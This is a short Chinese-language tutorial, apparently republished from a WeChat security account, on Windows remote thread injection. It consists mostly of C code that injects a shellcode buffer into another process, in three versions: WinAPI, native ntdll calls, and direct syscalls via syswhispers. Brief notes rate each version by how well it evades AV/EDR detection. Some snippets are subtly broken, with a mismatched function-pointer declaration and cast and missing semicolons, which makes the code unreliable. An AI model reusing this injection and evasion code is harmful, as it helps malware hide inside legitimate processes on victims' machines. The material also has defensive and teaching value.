一文读懂远程线程注入

标准的windows API

DWORD find_process(char *process_name){

 PROCESSENTRY32 process_entry;
 process_entry.dwSize = sizeof(PROCESSENTRY32);

 //get the list of processes
 HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

 //check processes to find TARGET_PROCESS_NAME
 if (Process32First(snapshot, &process_entry) == TRUE){
  
         while (Process32Next(snapshot, &process_entry) == TRUE){
          if (stricmp(process_entry.szExeFile, process_name) == 0){  
        CloseHandle(snapshot);
        return process_entry.th32ProcessID;
             }
         }
     }

 CloseHandle(snapshot);
 return 0;
}

HANDLE target_process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_process_id);

LPVOID remote_process_buffer = VirtualAllocEx(target_process_handle, NULL, sizeof(buf), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(target_process_handle, remote_process_buffer, buf, sizeof(buf), NULL);

CreateRemoteThread(target_process_handle, NULL, 0,(LPTHREAD_START_ROUTINE) remote_process_buffer,NULL,0, NULL);

x86_64-w64-mingw32-gcc main.c -o rti.exe

Native API

• 很难使用
• 仍可能被大多数AV/EDR检测到。
• 无法在所有版本的Windows上运行

HMODULE hNtdll = LoadLibraryW(L"ntdll");

typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID);
pNtOpenProcess NtOpenProcess = (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");

NtOpenProcess

#define InitializeObjectAttributes(p,n,a,r,s) { 
(p)->Length = sizeof(OBJECT_ATTRIBUTES); 
(p)->RootDirectory = (r); 
(p)->Attributes = (a); 
(p)->ObjectName = (n); 
(p)->SecurityDescriptor = (s); 
(p)->SecurityQualityOfService = NULL; 
}

typedef struct _CLIENT_ID
{
 PVOID UniqueProcess;
 PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef struct _UNICODE_STRING {
 USHORT Length;
 USHORT MaximumLength;
 PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;


typedef struct _OBJECT_ATTRIBUTES {
 ULONG           Length;
 HANDLE          RootDirectory;
 PUNICODE_STRING ObjectName;
 ULONG           Attributes;
 PVOID           SecurityDescriptor;
 PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ;


OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, NULL,0,NULL,NULL);
CLIENT_ID ci = { (HANDLE)procid, NULL };

NtOpenProcess(&target_process_handle,PROCESS_ALL_ACCESS, &oa, &ci);

NtAllocateVirtualMemory

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)

pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory")

NtAllocateVirtualMemory(target_process_handle, &remote_process_buffer, 0,&buf_len ,MEM_COMMIT, PAGE_EXECUTE_READWRITE)

NtWriteVirtualMemory

typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL);
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
NtWriteVirtualMemory(target_process_handle, remote_process_buffer, buf, buf_len, NULL);

NtCreateThreadEx

NtCreateThreadEx(&thread_handle, 0x1FFFFF, NULL, target_process_handle, (LPTHREAD_START_ROUTINE)remote_process_buffer,NULL, FALSE, NULL, NULL, NULL, NULL)

Direct Syscalls

• 可能无法在所有版本的Windows上运行
• 很难使用

syswhispers.py --function NtCreateProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscall --versions 10

本文始发于微信公众号（合天智汇）：一文读懂远程线程注入